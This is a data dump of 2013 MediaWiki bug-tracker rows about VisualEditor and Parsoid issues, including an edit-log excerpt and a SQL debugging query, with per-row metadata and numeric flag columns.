+(diff | hist) . . Kashmere Stage Band‎; 01:23:28 . . (-57)‎ . . ‎107.196.30.182 (talk)‎ (→‎History) [rollback]
+(Article Feedback Activity Log); 01:23:28 . . 122.178.233.254 (talk) submitted feedback post #050027e... on Dhanush ‎(i am happy to be a fan of dhanush)
+(diff | hist) . . Fahadh Faasil‎; 01:23:28 . . (+103)‎ . . ‎92.97.8.139 (talk)‎ (→‎Filmography)
+(diff | hist) . . m Waldemar Klingelhöfer‎; 01:23:24 . . (-1)‎ . . ‎Robert4565 (talk | contribs)‎ (Tag: VisualEditor) [rollback]
+(diff | hist) . . m Maiden's Tower‎; 01:23:23 . . (+3)‎ . . ‎Thewolfchild (talk | contribs)‎ (→‎Legend) [rollback]
+(diff | hist) . . Ball State University‎; 01:23:23 . . (-276)‎ . . ‎184.17.231.231 (talk)‎ (removed Points of interest section → all places are listed in Ball State navigation box and/or are mentioned throughout the article) (Tag: section blanking) [rollback]
+(diff | hist) . . m Adas Israel Congregation (Washington, D.C.)‎; 01:23:21 . . (+37)‎ . . ‎Bizzurp (talk | contribs)‎ (Category:Conservative synagogues) [rollback]
+(diff | hist) . . Wikipedia:WikiProject Arthropods/Popular pages‎; 01:23:21 . . (+12)‎ . . ‎Mr.Z-bot (talk | contribs)‎ (Popularity stats for WikiProject Arthropods) [rollback]
+(diff | hist) . . Animethon‎; 01:23:19 . . (-103)‎ . . ‎Ceasol (talk | contribs)‎ (Animethon has become largest Anime Convention with an attendance in 2012 of 6404 against Anime Revolution with 5233) (Tag: VisualEditor) [rollback]
+(diff | hist) . . Talk:Sex at Dawn‎; 01:23:17 . . (+245)‎ . . ‎NorthBySouthBaranof (talk | contribs)‎ (→‎Removal of Ellsworth's ""Sex at Dusk"" review)
+(diff | hist) . . N! User:MOTOI Kenkichi/北乃カムイ‎; 01:23:17 . . (+5,636)‎ . . ‎MOTOI Kenkichi (talk | contribs)‎ (翻訳用テンプレ)
+(diff | hist) . . m William Fulton (urban planner)‎; 01:23:16 . . (+4)‎ . . ‎Billfulton00 (talk | contribs)‎ (Tag: VisualEditor) [rollback]
+(Protection log); 01:23:16 . . Prolog (talk | contribs) protected Patient Protection and Affordable Care Act‎ ‎[edit=autoconfirmed] (expires 05:23, 30 July 2013 (UTC)) ‎[move=autoconfirmed] (expires 05:23, 30 July 2013 (UTC)) ‎(Persistent sock puppetry)
+(diff | hist) . . Barbro Eriksdotter (Bielke)‎; 01:23:14 . . (+32)‎ . . ‎Aciram (talk | contribs)‎ (→‎Sources) [rollback]
+(diff | hist) . . Ohio State Route 357‎; 01:23:14 . . (+94)‎ . . ‎CycloneIsaac (talk | contribs)‎ (→‎References: separate) [rollback]
+(diff | hist) . . Gwangju FC‎; 01:23:12 . . (+69)‎ . . ‎Z4617925 (talk | contribs)‎ (→‎Current squad) [rollback]
+(diff | hist) . . N Talk:Lavender Country‎; 01:23:12 . . (+419)‎ . . ‎Bearcat (talk | contribs)‎ (←Created page with '{{Old AfD|Lavender Country|delete}} ==Prior AFD== Please note that this version of the article is significantly expanded, and its sourcing significant...')
+(diff | hist) . . Argentine legislative election, 2013‎; 01:23:12 . . (-59)‎ . . ‎186.61.49.196 (talk)‎
+(diff | hist) . . Brian Nieves‎; 01:23:08 . . (+14)‎ . . ‎PaulinSaudi (talk | contribs)‎ (fix many capitals) [rollback]
+(diff | hist) . . SeaWorld Entertainment‎; 01:23:07 . . (+17)‎ . . ‎67.238.188.192 (talk)‎ (Tag: VisualEditor) [rollback]
+(diff | hist) . . British Expedition to Abyssinia‎; 01:23:05 . . (+7)‎ . . ‎Reenem (talk | contribs)‎ (→‎The campaign) [rollback]
+(User creation log); 01:23:04 . . User account Rblak87 (talk | contribs) was created ‎
+(diff | hist) . . Arunachal Pradesh‎; 01:23:04 . . (-1,141)‎ . . ‎BijoyChakrabarty (talk | contribs)‎ (Undid revision 565431133 by Qwyrxian (talk) Hindi is not official language in Arunachal pradesh, it's English. Official Gov cite provided) [rollback]
+(diff | hist) . . Wikipedia:WikiProject Solar System/Popular pages‎; 01:23:03 . . (-17)‎ . . ‎Mr.Z-bot (talk | contribs)‎ (Popularity stats for WikiProject Solar System) [rollback]
+(diff | hist) . . Wikipedia:Huggle/Users‎; 01:23:03 . . (+38)‎ . . ‎Czar (talk | contribs)‎ (Adding czar (HG)) [rollback]
+(User creation log); 01:23:01 . . User account Huskers3155 (talk | contribs) was created ‎
+(diff | hist) . . m Southern Cross All-Stars‎; 01:23:01 . . (+31)‎ . . ‎Loudestpenguin (talk | contribs)‎ (Tag: VisualEditor)
+(diff | hist) . . Talk:List of tallest buildings in Christchurch‎; 01:23:00 . . (+282)‎ . . ‎Grutness (talk | contribs)‎ (→‎Minimum height)",,,1374557457,,PHID-USER-34ciubbmtvmsgh53t6hb,False,,,PHID-TASK-rl6e4brnawmfpf74jcdj,task_subcomment,,True,c1,3,False,,,3,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+247591,Syndicated feeds of Watchlists include non-existent edits,"Recent changes for this article (according to toolserver.org):
+
+mysql> select * from recentchanges where rc_namespace = 0 and rc_title = 'Everything_That_Happens_Will_Happen_Today' order by rc_id desc limit 2 \G
+*************************** 1. row ***************************
+        rc_id: 590682778
+ rc_timestamp: 20130715213627
+  rc_cur_time: 20130715213627
+      rc_user: 0
+ rc_user_text: FelGru
+ rc_namespace: 0
+     rc_title: Everything_That_Happens_Will_Happen_Today
+   rc_comment: 
+     rc_minor: 1
+       rc_bot: 0
+       rc_new: 0
+    rc_cur_id: 18622850
+rc_this_oldid: 562841657
+rc_last_oldid: 562841657
+      rc_type: 5
+ rc_patrolled: 1
+   rc_old_len: 131636
+   rc_new_len: 131636
+   rc_deleted: 0
+     rc_logid: 0
+  rc_log_type: NULL
+rc_log_action: 
+        rc_ip: 
+    rc_params: a:1:{s:20:""wikibase-repo-change"";a:13:{s:2:""id"";i:56980275;s:4:""type"";s:20:""wikibase-item~update"";s:4:""time"";s:14:""20130715213627"";s:9:""object_id"";s:5:""q6336"";s:7:""user_id"";i:180688;s:11:""revision_id"";i:58328008;s:11:""entity_type"";s:4:""item"";s:9:""user_text"";s:6:""FelGru"";s:3:""bot"";i:0;s:7:""page_id"";i:7449;s:6:""rev_id"";i:58328008;s:9:""parent_id"";i:58327906;s:7:""comment"";s:23:""wikibase-comment-update"";}}
+*************************** 2. row ***************************
+        rc_id: 588688216
+ rc_timestamp: 20130704145433
+  rc_cur_time: 20130704145433
+      rc_user: 205121
+ rc_user_text: Koavf
+ rc_namespace: 0
+     rc_title: Everything_That_Happens_Will_Happen_Today
+   rc_comment: fmt
+     rc_minor: 1
+       rc_bot: 0
+       rc_new: 0
+    rc_cur_id: 18622850
+rc_this_oldid: 562841657
+rc_last_oldid: 562815320
+      rc_type: 0
+ rc_patrolled: 0
+   rc_old_len: 131440
+   rc_new_len: 131636
+   rc_deleted: 0
+     rc_logid: 0
+  rc_log_type: NULL
+rc_log_action: 
+        rc_ip: 
+    rc_params:",,,1373960032,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-rl6e4brnawmfpf74jcdj,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,1
+247586,Syndicated feeds of Watchlists include non-existent edits,"Also, checking https://en.wikipedia.org/wiki/Special:Watchlist does not display these non-existent edits nor does the page history of the individual articles and categories mentioned.",,,1373959528,,PHID-USER-34ciubbmtvmsgh53t6hb,False,,,PHID-TASK-rl6e4brnawmfpf74jcdj,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+53422,Adding formatting to wiki link formats text not link,"See http://en.wikipedia.org/w/index.php?title=Wikipedia:Village_pump_(technical)&oldid=564459649#Italicizing_wikilinks
+
+When someone italicizes (or bolds) a wiki link instead of placing quote marks around the link itself (like ''[[link]]'' ) it pipes a link with the same text but with quotes (for example [[link|''link'']] ) creating unneeded wikitext.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1373950620,1377278955.0,PHID-USER-f6l3bchko2ogbi4poj24,False,,False,PHID-TASK-nkmn6tlxg6fzvqjixjiw,task_description,resolved,True,c1,3,False,False,True,2,,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+247312,Adding formatting to wiki link formats text not link,"This is the same as bug 50098, yes; merging.
+
+(In reply to comment #1)
+> It has been noted today that VE still has issues with large pages, so it
+> really
+> shouldn't be adding unnecessary bytes to a page like this.
+
+The length of a page's wikitext has no direct impact on VisualEditor's performance; it's the length and complexity of the HTML that's in question. In this case, the HTML is identical, so this has no performance impact.
+
+*** This bug has been marked as a duplicate of bug 50098 ***",,,1377278955,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nkmn6tlxg6fzvqjixjiw,task_subcomment,,True,c1,3,True,,,7,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,1,1,0,1,1,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+247304,Adding formatting to wiki link formats text not link,"As I wrote in 50098, to avoid [[Foo|''Bar'']] you should italicize first, and link only after
+that. I added this to the Italian User guide and I am looking for other similar tips I might be missing.
+Thanks.",,,1377248899,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-nkmn6tlxg6fzvqjixjiw,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+247295,Adding formatting to wiki link formats text not link,"It has been noted today that VE still has issues with large pages, so it really shouldn't be adding unnecessary bytes to a page like this.",,,1377222218,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-nkmn6tlxg6fzvqjixjiw,task_subcomment,,True,c1,3,False,,,7,,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+53417,Blanking last section of page corrupts heading,"Reported here: https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&curid=37904286&diff=564438586&oldid=564436653
+
+IP editor removes contents from last section of page.  VE replaces heading text with nowiki.
+
+Diff:https://en.wikipedia.org/w/index.php?title=Best:_The_Greatest_Hits_of_S_Club_7&curid=3428260&diff=564438205&oldid=564438086
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1373937720,1373938090.0,PHID-USER-ttyyrgsrkyonct7hizgv,True,,False,PHID-TASK-euerogqwtdmzt7fjkkmb,task_description,resolved,True,c1,3,False,False,True,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+246916,Blanking last section of page corrupts heading,"
+
+%%%*** This bug has been marked as a duplicate of bug 50100 ***%%%",,,1373938090,,PHID-USER-ttyyrgsrkyonct7hizgv,True,,,PHID-TASK-euerogqwtdmzt7fjkkmb,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+53409,color picker,"Copied from English language Wikipedia:
+
+When the user edits for example, a {{Legend}} template, color picker may be very useful. We should also think about adding there a table of basic colors. --Rezonansowy (talk) 13:32, 15 July 2013 (UTC)
+
+http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=564427033#Color_picker
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Needs Triage,90.0,1373929020,1376120681.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-h3r2wuw2m4pdrb5ixf7h,task_description,resolved,True,c1,3,False,False,True,2,,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+246442,color picker,"
+
+*** This bug has been marked as a duplicate of bug 52645 ***",,,1376120681,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-h3r2wuw2m4pdrb5ixf7h,task_subcomment,,True,c1,3,True,,,5,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+53389,Disabling VisualEditor completely,"How can we Disable VisualEditor completely to have old style (for example in en.wikipedia which is activated how can we disable completely the too and make it like old style)?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1373917620,1373926494.0,PHID-USER-dswbdv7ibhsefllcqarz,False,,False,PHID-TASK-a465jbds23gplxffpkqu,task_description,resolved,True,c1,3,False,False,True,2,,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0
+245136,Disabling VisualEditor completely,"In general, VE questions should be filed on [[WP:VE/F]] as that is the best place to give feedback for the VisualEditor.
+
+This particular problem has already been reported into our bug tracking system, but please feel free to report any further issues you find.
+
+*** This bug has been marked as a duplicate of bug 50929 ***",,,1373926494,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-a465jbds23gplxffpkqu,task_subcomment,,True,c1,3,True,,,2,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1
+53369,VisualEditor: spurious parentheses added,"See https://en.wikipedia.org/w/index.php?title=Wormshill&diff=564367057&oldid=557770558 for example.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1373900400,1385386705.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-nanbji3vohfklohczwir,task_description,declined,True,c1,3,False,False,False,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+244045,VisualEditor: spurious parentheses added,"This is caused by an unbalanced <blockquote> in the infobox, which ""works"" (ish) in MediaWiki's PHP parser but didn't in Parsoid at the time; this is subsequently worked around. Closing as WORKSFORME.",,,1385386705,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nanbji3vohfklohczwir,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,1
+53366,504 timeout with Parsoid service,"**Author:** `brunsa2`
+
+**Description:**
+I currently have VisualEditor running on an Ubuntu Server with Nginx, MediaWiki version 1.22alpha, Node.js 0.8.22. I get timeouts (504) when trying to use the VisualEditor (running Parsoid in debug often gives messages such as:
+
+T:html: {""type"":""TagTk"",""name"":""body"",""attribs"":[],""dataAttribs"":{}} {
+ ""0"": ""WARNING: RETRY:"",
+ ""1"": {
+   ""code"": ""ETIMEDOUT""
+ }
+} Retrying Page Fetch request for null, 4 remaining {
+ ""0"": ""WARNING: RETRY:"",
+ ""1"": {
+   ""code"": ""ETIMEDOUT""
+ }
+}
+
+Retrying Page Fetch request for null, 3 remaining ). I've tried with as many possible headers from a REST client and do not get any errors from Parsoid with that.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**OS**: Linux
+**Platform**: PC
+**Whiteboard**: aklapper-moreinfo",Needs Triage,90.0,1373899320,1374456028.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ipxn4a5xggbelogecqff,task_description,declined,True,c1,3,False,False,True,2,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+243919,504 timeout with Parsoid service,"**brunsa2** wrote:
+
+I've upgrades both VisualEditor and Parsoid, after converting wiki installation to  use SSL and then turning it off, Parsoid spontaneously started working.",,,1374456028,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ipxn4a5xggbelogecqff,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+243915,504 timeout with Parsoid service,See http://www.mediawiki.org/wiki/MediaWiki_on_IRC for information on IRC.,,,1373927829,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ipxn4a5xggbelogecqff,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+243910,504 timeout with Parsoid service,Please come on #mediawiki-parsoid IRC channel to debug these issues.  It appears that Parsoid might be having trouble connecting with your mediawiki instance.,,,1373901602,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-ipxn4a5xggbelogecqff,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+53364,VisualEditor: Edit this Page button ignores &oldid=prev parameter.,"When editing a page the editor seems to ignore the ""&oldid=prev"" parameter entirely. Instead of editing the old revision, the editor loads the most recent revision.
+
+Steps to reproduce:
+
+* Navigate to http://en.wikipedia.org/w/index.php?title=Baylor_University_Institute_for_Oral_History&diff=540967084&oldid=prev
+* Press ""Edit this Page""
+
+I would except that the editor would load the page currently displayed on the screen. Instead it seems to omit &oldid=prev entirely, and loads the most recent revision instead. 
+
+(Tested on Firefox 22, Monobook skin. Possibly related:50615)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1373895180,1385387326.0,PHID-USER-ohetl546bwt5ac2szu5w,False,,False,PHID-TASK-pi2tzunhpx5y7ayoea2g,task_description,resolved,True,c1,3,False,False,False,2,,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,1,0
+243826,VisualEditor: Edit this Page button ignores &oldid=prev parameter.,This seems to now be fixed. Please re-open if you think I'm wrong!,,,1385387326,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pi2tzunhpx5y7ayoea2g,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+243821,VisualEditor: Edit this Page button ignores &oldid=prev parameter.,"Preference 'Do not show page content below diffs' also affects this bug.
+
+If enabled, the 'Edit source' link currently edits the current version of the page, so I think 'Edit' is doing the right thing in that case.
+
+If disabled, the diff block on the page should be deleted and the html on the page should be editable as-is.",,,1374477548,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-pi2tzunhpx5y7ayoea2g,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0
+53356,Add ULS language setting dialogue box in VisualEditor page settings,"Hi,
+
+In VisualEditor pagesettings>>languages below MediaWiki:Visualeditor-dialog-meta-languages-section the option button should be available 'Visit ULS language settings' for current {{contentlanguage}}wiki >> Then dialog box of ULS language settings should open up
+
+
+*To understand further the need for above request,please do refer to survey
+data and analysis provided at
+http://www.mediawiki.org/wiki/Talk:Universal_Language_Selector#feature_to_make_content_language_input__default_28864
+
+	
+
+Thanks and Warm Regards
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Needs Triage,90.0,1373886720,1378122078.0,PHID-USER-azy72hrp3tpetr52aob6,False,,False,PHID-TASK-6syee5vbnlo6bygtishg,task_description,invalid,True,c1,3,False,False,True,2,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+243369,Add ULS language setting dialogue box in VisualEditor page settings,"Closing as invalid for now. I think what is implicit here, is present explicitly in other, unreferenced issues.",,,1378122078,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-6syee5vbnlo6bygtishg,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+243363,Add ULS language setting dialogue box in VisualEditor page settings,"(In reply to comment #5)
+
+What Mr. Amir discussing higher end facilities are welcome.
+
+As far as this bug is concrned simply this bug intends/requests for basic feature requirement provide ULS input method selection at VE tool bar. sans any icons . As of now ULS icons have not been understood by 60% of targeted new user group.VE tool bar is right in front of eyes I can select every thing including intended language input from VE tool bar itself before I start editing, this I am looking for . Am I asking for some thing too much and too defficult ?",,,1376729948,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-6syee5vbnlo6bygtishg,task_subcomment,,True,c1,3,False,,,6,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,1,0,1,1,1,1,1,0,0,0,1,1,0,0,1,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,1,1,1,0,0
+243356,Add ULS language setting dialogue box in VisualEditor page settings,Mahitgar: Could you please answer comment 5?,,,1376399379,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-6syee5vbnlo6bygtishg,task_subcomment,,True,c1,3,True,,,6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0
+243350,Add ULS language setting dialogue box in VisualEditor page settings,"ULS is a flexible tool for selecting a language out of a long list of possible languages. It may or may not be relevant for this request.
+
+The ULS may be used in the future for switching to Wikipedia in another language; I refer to the thing that is done today with the interlanguage links.
+
+Setting a different content language for a whole page is a useful feature, and the ULS can be used for selecting the language there, but first the MediaWiki core must support it; see Bug 9360. It is also mentioned in the i18n specification for VE: https://www.mediawiki.org/wiki/VisualEditor/Internationalization_requirements .
+
+To summarize: Mahitgar, can you please write *what* are you asking to do? ULS may or may not be the a good *way* to do it, but first the actual feature must be defined. I tried to read the the thread, and I didn't quite understand the requirement.",,,1374496050,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-6syee5vbnlo6bygtishg,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,1,0,0,1,1,0,1,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0
